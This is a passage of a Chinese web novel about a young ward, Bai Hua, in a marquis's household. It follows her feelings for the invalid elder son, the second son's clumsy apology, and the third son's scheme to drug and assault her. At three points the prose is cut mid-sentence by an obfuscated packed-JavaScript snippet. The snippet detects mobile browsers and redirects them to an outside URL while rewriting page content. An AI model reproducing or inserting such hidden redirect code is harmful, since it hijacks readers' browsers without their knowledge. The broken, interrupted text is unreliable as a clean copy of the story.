每年吃梨的时节，白婳将秋月梨切块，和红糖银耳一起炖汤，又加了几味独门的配料，甜稠浓郁，明疏每次都能多喝两碗。 但今日白婳能明显感觉到，大公子兴致不高。 甚至是情绪有些阴沉。 ——九殿下造访明府，他不可能开心的起来。 阿吉悄悄给白婳使眼色，“姑娘又给送什么好吃的来了。” “新熬的梨汤。”白婳看了明疏一眼，他不知在想些什么出神，甚至好像没发觉她来了。 “……还是热的，我先放着，一会记得喝。”她指腹轻轻磨搓着，第一次产生了一种无地自容，待不下去的感觉。 白婳知道，明疏不是在责怪她，他只是难过。 这种时候，怎么能要求最难过的那个人，反过来照顾她的情绪。 阿吉应了一声：“诶，我记着呢，一会我盛给公子。” 白婳离开了清霜院，都没能跟明疏说上一句话。 雨停之后，明肆在校场耍枪。 明忠海是武将出身，校场修的宽敞，兵器也全。 从前他闲来无事时常操练，后来上了年纪便来得少，精力又分散去钻营，多少有些荒废武艺。 地上还是湿漉漉的，明肆底盘稳健，动静间都是精悍的爆发力。 他有意发泄，这样雨后寒凉的天气，只穿一件单薄中衣，还出了满身汗。 校场兵器虽多，但这杆银枪是他自己的。 明肆倒提着枪，抄小路从后院绕出去，打算回去清洗一番。 一拐弯，和坐在石凳上的白婳四目相对，双双皆是一愣。 白婳眼睫还是湿濡的，眼角微红，一看就是哭过。 7. 二公子道歉 她显然没料到会突然来人，表情还有些发懵，顿了一息才反应过来，视线一闪，有些局促收拾眼角痕迹。 明肆蹙眉，一动不动凝视她。 白婳低着头，心里乱成了一团麻，连敷衍的解释都没顾上，起身时候有种落荒而逃的味道。 “回来，”明肆短促一声。 他嗓音淡淡的，但并无责怪之意。 “你这副样子出去叫人看见了，当我欺负了你去。” 白婳被后面这句话停住脚步。诚然，府里那么些丫鬟小厮，不管被谁看见，传出去浑身是嘴都解释不清。 “坐下。”他说。 白婳犹豫片刻，又再慢慢擦擦脸侧，坐了回去。 明肆有些闷热，身上汗还没干，这梅花墙后的巷角略显狭窄，其实不怎么通风。 但他四平八稳坐下了，准备等这股燥热过去，心静自然凉。 白婳以为他会先走，张口想说些什么，却欲言又止。 二公子坐姿不算太规矩，两条长腿敞着，银枪立在身边，侧颜看上去不苟言笑。 他已经脱离了少年人清瘦单薄的身形，刚练过武的胳膊仿佛都在散发热气，白婳离得不近不远，稍有些不自在。 存在感太强。 白婳的注意力没法再集中在自己的情绪上，方才那股沉重到压得喘不过气来的郁结，短暂的被二公子的胳膊给赶走了。 “……”白婳悄悄看他一眼。 明肆回视她。 他余光似乎比旁人更长些，分明在平视前方，但总能抓到她的眼神。 “在哭什么？”明肆问得直接。 白婳沉默，她不想说。 明肆：“我哥跟你摊牌了？” 含糊不清的一句话，白婳却听懂了。 她有些恼火，恼自己竟能听懂这简短的弦外音。 “二公子慎言。此处狭窄，被人看见更是说不清，还请二公子先行，莫要叫府中再生事端。” 白婳盯着他面前那点窄路。 她没想到他会直接坐在那，如果知道，她绝不会留在这。 明肆扬着一边眉眼睨着她。 刚才好好的，这会生气了，就要赶人。 他重新转过头，“你二公子说的是实话，别自己骗自己，迟早有这么一天。” 白婳怔怔看他。 明肆说得太笃定，她心中总在刻意回避的角落像是被人狠狠踩了一脚。 白婳深吸口气，心里堵着的那团棉花甚至要比刚才一人时还要再难受三分。 明肆又瞥她一眼，只看见她埋头从跟前跑了。 那位置不宽敞，他腿太长，白婳碰到了他的膝盖。 其实不重，只是衣摆扫到。 “……”明肆话没来得及说出口，看了眼膝盖，又看眼白婳的背影。 回去之后，白婳浑浑噩噩一夜没怎么睡着。 她刚及笄那年，侯夫人有想过将二人的婚事先定下来，但刚起个话头，便被大公子按下去了。 他只淡淡说：“珍珠还小，此事不急。” 当时白婳在门后偷听，少女情窦初开的心事像被浇了盆冷水。 后来那天晚上，白婳将自己关在房中不肯吃饭，院里的丫鬟去清霜院请了明疏。 ——她身边伺候的人都知道，姑娘有什么事情，去找大公子，肯定能帮着拿个主意。 那晚明疏的轮椅停在房门外，屏退了左右侍奉，才温和唤她：“白婳，开门。” 无人应他。 明疏的视线落在门把手上。 “生哥哥的气了？” 屋里的人声音沉闷，听不出哭没哭过：“你回去吧成序哥哥，我要睡觉了。” “先把门打开，让我看看你。” 她仍是不开，明疏的视线从门把手落向自己的双腿，苍白的指腹在上面无意识摩挲着。 “不是你以为的那个意思。”明疏的声音很轻，但沉稳温柔，“把门打开，好吗。” 不说还好，他一哄，里面的白婳就委屈得决了堤：“那是什么意思？你不要我。” 明疏：“我只是想让你有机会也多看看别人。” 白婳声音提高了些：“为什么要看别人？我不要看别人！我生来就是要嫁给你的，你对我这么好，我只想以后也能好好照顾你。” 明疏却说：“没有人是生来就一定要嫁给谁的。” “你八岁开始跟着我，大家都这么告诉你，才会让你有这种想法。我受伤后不怎么出门，你便也跟着被困于一隅。外面的世界，或许有更广阔的天地，更完美的人在等你，我们珍珠，配得起天底下最好的儿郎。” 他说得缓慢，像三月吹过湖面的风。 但这些话在白婳耳中听来绝情极了，“你就是不想要我了。” 明疏的眸子幽深，隔着一扇门，静静听着她在里面哭得梨花带雨。 然后他借扶手撑着自己，慢慢尝试起身，想去碰那门环。 大公子摔伤之前便是习文更多些，身形清瘦，满身的书卷气。这么些年养病，手臂越发没什么力气。 他伤在膝盖，下半身全是拖累，这个动作对他来说，略显吃力。 放在平时，明疏不会在白婳面前做出这种狼狈的姿势来。 月光将影子投在门上，惊了里头的小姑娘，赶紧开门。 大公子顺势跌坐回去，唇角还能有些微不可察的笑意：“终于肯见我了？” 白婳盯着他不吭声。 明疏便就这么仰头好生瞧着她。 白婳长了一张看起来乖巧恬静的脸，但她内里的性格却并非如此，刚来明府的那两年，被他宠得骄矜烂漫，笑起来尤其明媚，眼睛里都带着光。 那样好的笑容，后来他再也没看见过了。 因为他摔了腿，变得愈发寡言稳重，她跟在身边，耳濡目染。 他莞尔一笑：“珍珠是打定主意，非我不嫁？” 白婳又要哭，明疏接着说：“那这样吧，咱们两个来个约定。” “你听话去书学念书，三年之后，若你还这般笃定要嫁，成序哥哥八抬大轿娶你过门。” 他浅淡笑着，语气似在哄孩子，但白婳信了。 还一信就是三年。 从那之后，明疏再也没唤过她的小字，白婳不想承认这三年都是他的缓兵之计，但这种无力感随着年岁越来越清晰。 ——他在按部就班的缓缓抽身。 第二日天刚亮，海棠进来给她梳妆：“姑娘没睡好？” 不止憔悴，眼眶里都有些红。 白婳摇头，“雨声断断续续的，吵得头疼。” 她没什么精神，又道：“一会让人上些浓茶，我提提神。” 正说着，外间一个丫鬟听见动静探头探脑往里看，像是在看白婳起床了没。 海棠瞧见了，把人叫了进来：“可是有什么事？” 银杏是海棠的妹妹，长了张娃娃脸，进门后道：“姑娘，二公子来了，在廊下候着，说有话跟您说。” “……这才什么时辰。”海棠一愣，往外看了眼天色，还在下着小雨，更加显得阴沉沉。 银信一脸懵懂，跟海棠一起等着白婳拿主意：“卯时不到就来了，叫别吵醒姑娘。” 白婳没作声。 海棠：“二公子回来后都安生，怎的忽然登门……是不是上次在点翠阁说的，还想再提醒姑娘些？” 白婳摇头。上次点翠阁的事已过去许久，明肆大约是为昨天那些话来的。 致歉的可能性不大，这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694673|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二公子就没跟谁服过软。 但总不至于是追上门来奚落她？ 白婳有些烦闷，她懒得猜了。 “就说我这几日起得都晚，叫他别空等，有什么话你帮着转述。”白婳对银杏说。 银杏忙道：“已经说过了，二公子没搭理。” “……”白婳觉得，晾着他不是办法。 明肆的脾性，打小就犟。今日不成，或许他明日还会再来。 与其反复纠缠，不如一次把话说开。 两个丫鬟给她梳妆，穿戴整齐后，白婳还是去见了他。 此时外头天色已然大亮，雨水从廊外滴落。 明肆穿了身紫黑锦袍，发带同色，在这阴蒙蒙的天色下，回头的那张脸无甚表情，衬出几分清冷的矜贵来。 他视线黏在白婳身上。 “二公子清晨登门，是什么要紧事？”白婳停在五尺开外，礼数周到又疏离，“下次差人来捎个口信就好，二公子回京赶考，时辰宝贵，不敢叫耽误温书。” 明肆盯着她。脸上施了脂粉，但眼眶里的倦容不骗人。 他微微沉吟：“没睡好？” “……有什么事吗？”白婳不想闲聊。 明肆停顿片刻。 “昨日……”他微微蹙眉，刚起了个头，被白婳淡声接了过去：“昨日只是一时触景生情，是我失态，还请二公子莫要放在心上。” 明肆：“生什么情？” 白婳：“与二公子无关。” 明肆：“那你在气哪句话？” “二公子多虑了，我没有生气。”白婳始终不与他对视，仅仅只维持了几分表面功夫罢了。 明肆个子高，五官也深邃，他盯着人看的时候，即便没有表情，也显几分凌厉。 他原本也不太知道昨日是哪句话失言，在他看来，全是实话。 但给人说哭了，好歹上门来表个态度。 只是白婳将路堵得太死，他无从下手。 她声音温和却冷淡：“二公子请回吧，一家人，无需这般计较见外。” 明肆舌尖在上颚来回扫两圈，心底躁动。他性子直来直往，白婳这种钝刀子磨人，却又不好乱说话对她耍混。 ——本来就是赔礼，咄咄逼人算怎么回事。 注定无功而返。 翌日，起了大风，枯叶落了一地。 早上阿吉过来一趟，是清霜院的腊梅开花了，大公子叫折了几支花苞饱满的，给她送了过来。 白婳的阴霾一扫而空。 “把箱子里那个琉璃樽拿出来，养花正好。”她笑着吩咐海棠。 琉璃樽里灌上清水，花一插上，整个屋子里都是清香。 又过了两日，善柔长公主给侯府下了两张寿宴的帖子，来人说请侯夫人和白婳一同前往。 白婳略感意外。 之前还当长公主是客气话，没想到竟真的下了帖子。 不过宁远侯府在汴京里也算有头有脸，以善柔长公主的身份，虽不至于主动交好攀附，但侯夫人主动登门去了丹青宴，结交一番也是顺水推舟的事情。 侯夫人带白婳去了寿宴。 她对京中其他贵女不太相熟，好在有薛芳漪，陪着说话，时间过得很快。 薛芳漪对明肆，仍是十分防备，话里话外，都在说他的不是，提醒白婳警惕，不要重蹈覆辙再被他拖下水。 ——将他说得如虎似狼。 白婳失笑：“倒也没有你说得那般严重。春闱在即，二公子心气高，奔着夺魁而去，没那时间耽于私情。” 说完她纠正道：“而且当年之事闹起来，也怪流言蜚语撺掇，未必是二公子本意，少年人年轻气盛，可能都算不得私情。” 薛芳漪：“那最好。” 8. 桃花散 明肆确实很忙。 除了那日特意登门，后来白婳没在府中碰见过他。 听说二公子现在是汴京城的香饽饽，府中来往的拜客都比从前多不少，大多都被明忠海拦了，免得扰了儿子读书的清净。 明肆回来之后，明忠海的心显然就偏在了更有出息的二儿子身上，之前三公子明晏挨打那事轻轻揭过，最近也没太顾得上管束他。 明晏乐得风流自在。 结果重阳节的前一日，白婳在点翠阁，意外撞破三公子跟个丫鬟在花丛里衣衫不整的拉拉扯扯。 点翠阁原是外书房，后面是一大片竹林，再往里走能通到校场。 这两个地方平日里都没什么人，白婳是去折了两支竹子入画，冷不防听见几声不合时宜的娇嗔：“哎呀坏死了……” 白婳还是个未出阁的姑娘，平日里循规蹈矩的，听到这种声音，反应过来没那么快。 她不过愣了一瞬，倒是里头的丫鬟先看见了她，慌慌张张拉上衣服，一张脸羞愤通红。 明晏亲得正起劲，回头见是白婳，脸上也是青一阵白一阵。 白婳再未经人事，也看得懂这二人衣衫不整抱在一起是个什么意思。 简直有伤风化！ 她脸色比那丫鬟还难看，只想快点离开这不干净的地方。 刚快步走出去，后头三公子就急匆匆大步追了上来。 他领子最上的那粒盘扣还未来得及系好，气息微喘，拦住白婳的去路：“站住。你看见什么了？” 好没脑子一句话。 白婳嫌他脏，蹙眉往后退了半步。从前不是不知道三公子贪色，但到底没亲眼撞破过，也没想到他会如此急不可耐跟府中的丫鬟搅合在一起。 那丫鬟眼熟，看着像二房夫人那边伺候的。 明晏自己做贼心虚，拦着白婳不让她走：“别急啊，跑这么快，想去跟大夫人告状？你空口白牙一张嘴，又无证据，也不能把我怎么样。” 那小丫鬟手忙脚乱将自己收拾好，一步也不敢多留，闷声不吭低着头从墙角跑了。 白婳扫她一眼，又看向明晏：“让开。海棠！” 海棠在点翠阁里磨墨，听着动静很快出来了：“姑娘。” 明晏见有两人，没再作声，白婳趁机从他身旁跑过去，拉着海棠疾步离开。 当天晚上，明晏翻来覆去，一夜未眠。 “得想办法拿个白婳的把柄在手上，叫她听话。真要成了，别说她不敢高密，说不定，还能有机会一亲芳泽。”明晏心想。 翌日，三公子去了柳姨娘院里。 “……老二回来也有好几日了，他没动静，咱们要做别的指望。娘，你要帮帮我。”明晏开门见山。 “怎的忽然这样紧张？”柳姨娘有些意外，“老二回来的时候，我就使过两回机会探了探。或许他对白婳的心思没有之前那般张扬了，也可能是刚回来要先装装样子。此事不能心急，慢慢等机会。” 明晏：“再等，等老二高中，咱们的好日子就到头了。” 对此，柳姨娘也深以为然。 原以为那混不吝的二公子出去三年混学，不成想真叫他学了些本事。 她虽身在后院，但也听丫鬟小厮们说嘴，二公子如何吃香，连九殿下都登门拜会，还有好多当官的来夸他。 好不容易那大公子深居简出翻不起什么浪，那老二居然能有出息。 柳姨娘的神色有所松动，明晏看在眼中，接着道：“我有个法子，能捏住白婳的把柄。能拿住那丫头，日后有的是法子叫那两兄弟反目成仇，大夫人后院起火。” 柳姨娘看他一眼，有些忧心：“什么法子？白婳跟那边可是一条心，她能叫乖乖听话？你不要偷鸡不成反蚀把米，老二回来了，那老虔婆现在心气可高着呢。” 明晏的眼睛随了柳姨娘，狭长妩媚，笑起来弯弯的，像个笑面虎。 他说：“这就是我的事情了，保管手到擒来，但需要娘你帮我个忙。” 柳姨娘：“你说。” 明晏：“这脏水不能泼到咱们院里，你手段多，帮我在外头找个听话的丫头。” 万一事情败露，他们也能全身而退。 第二日，白婳有意去了二夫人院子里。 原本是想提点二夫人两句，却没找到那个跟明晏厮混的丫鬟。 “……确实有个丫头突然说家中有急事要回老家，昨儿个急匆匆的。我看她急成那样，都快哭了，又说家中有人病重，便做主准了，想着今日去跟大夫人说说，还没来得及。” 二夫人虽觉得奇怪，却也没想太多。 “是我陪嫁的一个丫头，按年岁来算，也该嫁人婚配了，只是春桃一直说不着急，我还准备明年请大夫人做主，给配个外院的侍卫。没想到她先请辞回乡去了。” 白婳沉默。 三公子竟这样谨慎，如此快的动作，将人给处理了。 回到葳蕤院后，白婳有些走神。 她总觉得，这个三公子，以后要给家里惹出大麻烦。 不多时，海棠进来说：“姑娘，上次上次花厅那个小丫头来了。” 白婳脸色一沉。 上次花厅撞了她还偷拿穗子的那个小丫头，被白婳揪出来后，拿了她的身契又使了二两银子，叫她日后有事上报。 她来了，就代表那柳姨娘又在作妖。 “让她进来。” 海棠将人带进来后将门关上。 “白婳小姐。”那小丫头进来就递上一个小纸包，“上次那个丫鬟给了我这个，说是桃花粉，叫偷偷下在您的饭食里面。我问这是什么，她说是一点助眠散，有人关心您睡不好。安神茶为什么要偷偷下？我觉得奇怪多问了一嘴，那人好没耐心打发我，说主子间的事少过问，事情成了，提拔我去二公子院子里做三等丫鬟，以后就不用烧火了。” 白婳还没问，小丫头先倒豆子似的说了一通。 “那丫鬟你可认识？”白婳问。 “不认识。”小丫头摇头。 她虽只是个烧火丫头，但在府里也有几年，主子身边的大丫鬟和掌事婆子都该是认得的。 可能是柳姨娘院里不常露面的丫鬟。 白婳叫海棠又拿了二两银子给她，吩咐道：“若那人再来问，你就说事情已经办妥了。” 小丫头欢喜接了，她一个月的例钱也不过五钱银子。 她说：“若那人再来，我再回禀姑娘。” 海棠将人送走之后，回到屋内，白婳正打开那纸包。 里头是一些浅红色的粉末，闻不出什么明显气味来，不知是何物。 “这是什么东西？”海棠凑上来看一眼，直觉不是什么好玩意。 白婳摇头，“但既然敢叫丫鬟下，想必不会是反应大的药物，应是慢性的。” 海棠有些忧心：“……姑娘，方才她说，提拔去二公子院里做三等丫鬟？” “不会是二公子。”白婳笃定道。 海棠这才松口气：“那就好。” 柳姨娘是外人，找到把柄回击，如何处置都好说。 但二公子是侯夫人的儿子，手心手背都是肉，要麻烦的多。 “万一事发，这丫头事先被误导过，求起饶来，第一口就咬二公子，他们自然能摘得干干净净。”白婳声音转冷。 明肆回来，就成了挡箭牌。 有他挡在前头，跟她相关的所有事都能说得理所当然。一旦对峙起来，当年那些丑闻，也会反反复复被拖出来鞭尸。 海棠：“那我们……” 白婳将纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694674|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包好，“不急，先弄清楚这究竟是什么东西。我去趟叶大夫那问问。” 叶大夫是侯府的府医，是侯夫人一手提拔上来的，白婳信得过他。 结果叶大夫眉头深锁瞧了半晌，又捻起一些在指腹磨搓、轻嗅，最后竟是没能分辨出这是何物。 “……白婳小姐，此物您从何处得来的？”叶大夫很是不解，“不像药，也不像毒。或许是寻常色粉？” 白婳脸色沉吟，并未多说什么。 既然是要下在她的饭食里，必然不会是寻常粉末，会有作用。 但叶大夫的医术虽不比宫中太医，也算是一方杏林妙手，连他都不认识的东西，撷芳院从哪弄来的。 “一位友人托我帮着问问的。”白婳叮嘱道，“还请叶大夫莫要外传。” “是，小的有分寸。” 秋雨阵阵落寒，转眼起了北风，枯叶落了满地，秃枝上连鸟儿都少见了。 花厅里那个烧火的小丫头名叫小六，每五日悄悄到葳蕤院来一趟，将药包塞给海棠。 “海棠姐，我跟那人说了，每次都亲自下进饭菜里。我还装作紧张问她，会不会叫郎中看出来，她叫我放心，白婳小姐吃下去只会有些贪睡犯困，不会叫郎中。即便叫了，脉也把不出来。” 小六年纪不大，心思倒是活泛，嘴也快，一段话连贯极了。 ——白婳也许了她三等丫鬟的承诺，还让她以后跟着海棠学刺绣的手艺。 这丫头现在干劲十足，没想到身契在人家手上捏着，没被发卖，还能给自己挣个好前程。 海棠道：“做的不错。” 海棠将药包拿进去给白婳。 这已经是第四包了。 海棠忧心忡忡：“一个家里的，竟使这些腌臜手段。姑娘，何不趁那边院子的给小六塞药时候，来个人赃并获？” “不急。” 白婳性子稳当，缓缓道：“还不知道这是什么东西，此时发作闹不大，最多把那边接头的丫鬟丢出来受罚，扯不到主子身上。” 如此小打小闹，对不住他这份害人的心思。 海棠道了声是。 今年的初雪来得格外早些，才十一月中旬，冬雨便夹着雪籽而至。 日前府库给葳蕤院送了张上好的雪狐皮，白婳摸着细腻生温，成色极好，便用它亲手制了条围脖，想给明疏送去。 冬日的围脖款式相差无几，白婳用丝绸做底，特意用珍珠代替了盘扣，藏在毛茸茸的内侧，外头看着不显，细细一摸便能分辨出来。 用过午膳，她带着东西往清霜院去。 不巧却在廊下碰见了三公子。 明晏一身风流贵公子的打扮，绛紫色的毛绒褙子，他本就肤色白，衬得他越发的人模人样。 只是不知从哪鬼混回来，面色瞧着像是宿醉未醒。 白婳只淡淡扫了眼，便径直往前而去。 “诶，白婳，跑什么跑，过来。”明晏眼睛黏在她身上，很是轻佻地招了招手，“到三哥这来。” 他的计划很是顺利。 这些日子白婳吃了那些东西，听下人说出门都少了，没事就想睡觉，在外头都时常瞧着打哈欠。 侯夫人关心问过一回，她都只说是昨夜没睡好，身上乏力。 明晏心里有底，此时再看白婳，便觉她是刀下鱼肉，很快就要任他宰割。 他笑起来三分流气，拉住白婳的腕子将她往身边一拽，“跟你说话呢。” “干什么！”白婳用力挣开，脚下朝他歪了大半步才站稳。 她今日穿了身枣红色裙子，上面是天鹄羽毛织的披风，一张俏脸水嫩，动了气，愈发白里透红的。 “三公子自重。”她语气不善瞪他一眼。 那一眼瞪得明晏心神荡漾。 9. 拉扯 白婳的样貌美艳，但和其他女子那种娇柔大有不同，她美得十分矜贵、珍重。 清清冷冷的，能叫周遭环境跟着一起好看起来。 明晏眼看着她长大，觊觎已久，即便是侯夫人看重她，每每碰上了，也忍不住靠近调戏两句。 这样的天姿国色，有点机会，谁能不心痒？ “赶着上哪去这是。”他含笑扫一眼。 白婳后退一步，淡道：“三公子瞧着精神不佳，不回去歇着，还有心思在外头打听别人的事。” 她不动声色想着。碰巧今日没叫海棠跟着，明晏大约会放松警惕。 或许今日是个机会，可以激一激他，叫他露出马脚。 言罢，她装着轻轻打了个哈欠，掩饰得很好，只气息起伏稍有变化，并未失礼。 但明晏还是发现了。 他笑意更深，唇角勾着戏谑：“怎么了这是，我看白婳妹妹也像没睡好的样子，要不一同回去歇歇。” 白婳不理他，匆匆要走。 明晏一把攥住她，欺身上前：“话还没说完呢，每次都急着走。怎么，老二对你没兴趣不要你了，要不跟我吧，三哥会疼人，你跟了我，以后三哥只疼你一个。” “大胆！你放开！”白婳用力挣扎，但成年男人力量悬殊。 声音引了墙外打扫的丫头探头探脑来看。 “都滚蛋！”明晏毫不忌讳，回头将人骂走。 他不怕。一会拿捏住了白婳，有正主帮他说话，丫头的嘴算什么。 这种小丫鬟个个胆小，生怕被牵连，埋着头赶紧跑了。 然后明晏忽地凑近白婳，那张邪肆的脸不怀好意道：“最近是不是浑身乏力，老也睡不够？” 白婳微微一顿。 明亮的眸子里有茫然，游移不定盯着他，“你什么意思？” “乖乖听话，别害怕，你这么漂亮……”明晏伸手在她小脸上摸了一把。 “你放肆！”白婳陡然色变，用力打掉他的手。 啪的一声脆响，明晏手背上红了一大片。 她被冒犯，推了人就气冲冲的大步往外走。 明晏吃痛倒抽一口凉气，两步追上去狠狠攥住她的胳膊：“死丫头，还敢动手，有你求饶的时候。过来！” 他蛮力大，拽着白婳越过回廊往湖边树丛去。 她没想到明晏在家中竟都如此大胆，放声去叫垂花门外的两个丫头：“来人！快来人！” 小镜湖是人工修的，不算大，但周围有假山和树丛。 外头的雨雪刚停不久，地上滑得很，白婳一脚没站稳，在湖边枯枝上扶了一把，便拽住不松手了。 “三公子，你再不放尊重点，即便损了声誉，我也绝不让你好过。”白婳冷着脸道。 “只是点声誉？”明晏还要贴近再说什么，手腕被个什么打中瞬间疼得麻木。 然后紧接着就是一脚被人蹬进了湖里。 湖面还没到结冰，但下过雪还刮着北风，明晏掉进去哗啦啦的水响扑腾，瞬间僵麻了半边身子，不可置信看清了岸边上偷袭的男人。 明肆黑沉沉的一张脸，与他对视，居高临下，眼里像能烧出火来。 “明老二！你要死？”明晏嘴唇都冻僵了，哆哆嗦嗦往岸边来。 明肆作势上前，抬脚要在岸边再给他踹回去。 那动作丝毫不带犹豫，明晏慌张往后划拉两下，怒瞪过去，但没敢再骂。 明肆眸子漆黑，威胁意味十足，不知在想些什么。 白婳不想多留，往他跟前一步，还未开口，明肆就已经回视过来。 她一时失语。 明肆没说什么，拉了她的手腕，大步流星将人带走了。 他们一离开水岸，明晏赶紧爬上来，嘴里骂骂咧咧，恶毒盯着二人的背影。 又想到白婳已经中招，总有收拾他们的时候。 他脸色好了几分，“走着瞧。” 另一边，白婳从来没有这般明显感受到明肆人高腿长，走起来得她近乎小跑才能跟上。 “二公子！”白婳尝试停下，抽了抽自己的手腕，但明肆没放手。 他一路将人带出垂花门，看不见那晦气玩意后才停下。 “我出去这几年，他一直这么找你麻烦？”明肆拧着眉，看模样心气很是不顺。 说得好像自己的人被外头欺负了。 白婳一时语塞。 不管三公子如何混账，这个头，怎么也轮不到明肆来给她出。 “我娘不管他？”明肆眉头更深，“老大也装瞎？” “……只是意外。”她没说实话。 明肆：“若非屡犯，意外他能这么大狗胆？” 白婳不说话。明肆目光深邃，端详她这模样，不像对明晏没有气恼。 那就只能是有所忌惮忍气吞声。 “他威胁你？就那种欺软怕硬的货色，你越退让他越是觉得你好欺负，就该一次性打到他知道怕。” 白婳赶紧反拉住他：“家和万事兴。” 二公子不是第一次因为她跟人动手了，三年前也有过。 他下手相当狠，白婳不想再生事端。 更何况打他一顿又如何，解一时之气罢了，治标不治本，还牵累明肆犯错。 白婳有自己的考量。 “狗屁，他是兴了和了，你是不把自己当家里人？”明肆只当她怯懦，“这事你别管，就当不知道。” 明肆将她往外一推，转身就走，白婳顾不得许多，赶上去将人逼停：“二公子！” 她这眼神是较真了。明肆深深盯了她一眼，心头撩起的邪火按不下，怒气在胸腔郁结。 管教他的时候大道理一套一套，结果后院起火倒是装瞎了，家里藏这么个大尾巴狼，那他出去这三年算什么玩意？ 当年若非白婳刚烈，他怕逼急了出事，否则不会肯低这个头，老实出去。 到头来她却在受这种窝囊气。 明肆皱着眉：“你怕他什么？” “此事与你无关。”白婳认真道。 又来了。 明肆一口气不上不下，撒不出来。 他看了眼白婳，又看了眼小镜湖的方向。 拳头紧了又紧，一言不发走了。 白婳松了口气。 她也回头望了眼那垂花门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694675|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，正好看见明晏浑身湿透从里面出来。 他很狼狈，眼神阴狠得像条毒蛇，落在白婳身上。 那眼里是胸有成竹的笃信，白婳看懂了。 她不闪不避回视他。 片刻后，方才转身离去。 走出院子后，白婳才反应过来，掌心阵阵刺痛。 她掌心被刮开一道口子，不深，但醒目，是刚才枯枝上的倒刺勾的，本来雪白的狐毛围脖上也沾了血渍。 这样子，肯定是不能去清霜院了，她改道往叶大夫的药房去。 不成想，刚一进门就跟明肆碰个对脸。 “……”白婳愣在那，有些词穷。 二人一进一出，这也没有旁人了，就这样扬头过去，稍显尴尬。 “二公子。”她朝他点个头，算打过招呼。 明肆没事时候都是张冷淡脸，此刻面无表情，也看不出情绪如何。 但按刚才白婳拦他时候的情形看，这会没过去多久，应当是心情相当不好的。 不好跑药房来作甚？ 他踹明晏那一脚那么利索，不像能伤着自己的。白婳忍不住往他手上扫了眼。 明肆顺手就把那小罐药膏抛给了她。 准头很好，堪堪掉进白婳身前，被她下意识接住。 “我当是什么宝贝，手破了都不舍得松。”明肆从她手里抽走那条沾了血的围领，不冷不热看了她一眼。 白婳愣了愣，意味不明与他回视。 不过一个照面，明肆朝角落扬了扬：“那边有水，先去洗洗再上药。” 白婳心思流转，磨磨蹭蹭往里去。她有些想进去找叶大夫。 明肆看她一眼，道：“大夫没在，我自己翻的。” “……”白婳有些意外他的敏锐。 净了手，擦干。 白婳寻了个藤椅坐下，明肆却没有要走的意思，跟进来坐在了她对面。 “二公子事忙，就不耽误你的时间了。”她朝他道。 “家里人知道吗？”明肆答非所问，眼皮浅浅搭着，仍在介意此事。 白婳沉默。 明肆越发觉得怕不是那混球捏了白婳什么把柄，“你忌惮他什么？” 他印象里的秋白婳，不是这个怯懦的性子。 白婳默默将盖子打开，挖出一些药膏，往掌心涂抹。 半晌才意有所指道：“二公子，我及笄了，女子名誉比命重要。” 明肆蹙眉：“那更不该放任。” “……”白婳沉吟，看着他道：“我一个客居小姐，明氏一府三个兄弟，都与我有纠葛。传出去，京城怕是无我立足之地了吧。” 她索性将话挑明。 明肆不知在想什么，眉梢微微一动，指腹一边把玩着藏在狐毛里的那粒珍珠扣。 “三公子也是吃准了这一点，才会如此。”白婳说，“母亲与成序哥哥并不知晓，也希望二公子答应我，不要插手此事。” 明肆刚刚转好一些的神情因为‘成序哥哥’四个字黑下去。 他说：“我没你成序哥哥那么装瞎，成日一个府里住着都看不出所以然来，无非心思没在你身上。” 10. 夜长梦多 白婳听着刺耳，声音转冷，“二公子慎言，他是你大哥。” 明肆将围脖抛还给她，兴趣缺缺起身走了。 明晏落水之后据说发了场风寒，一连烧了好几日。 柳姨娘借机去明忠海跟前哭了一通，明着说老三不懂事，言语得罪了明肆；暗地里的话音全是在说明肆不顾兄弟手足之情，因为老三跟白婳多说了几句话便下此重手，对白婳余情未了。 明忠海听进去了些，去了趟侯夫人院里，让她多注意些，找个机会敲打明肆一二，叫他科考要紧别想这些歪心思。 侯夫人本就对此事草木皆兵，当即叫来了白婳，要了解下当时的具体情形。 白婳将过程避重就轻大致说了遍，不想叫侯夫人太动气。 但侯夫人还是气得一拍桌子：“小兔崽子，色胆包天！” 白婳握了她的手，“母亲，别动气。说出来只是想告诉您，此事与二公子无关。” “那撷芳院里大的小的都不是什么好东西！”侯夫人提起来就是一肚子气。 白婳将利弊与她一一分说，又好言宽慰了几句，才将侯夫人的情绪安抚下来。 “须得是一个不容辩驳的大错。” 白婳淡声说着。她也有气。 她没想到恶人还敢先告状。 不能拖了，找个时间去外面问问，弄清楚那药粉到底是什么。 同时侯夫人也说：“不能拖了。” 白婳一顿：“母亲说什么？” 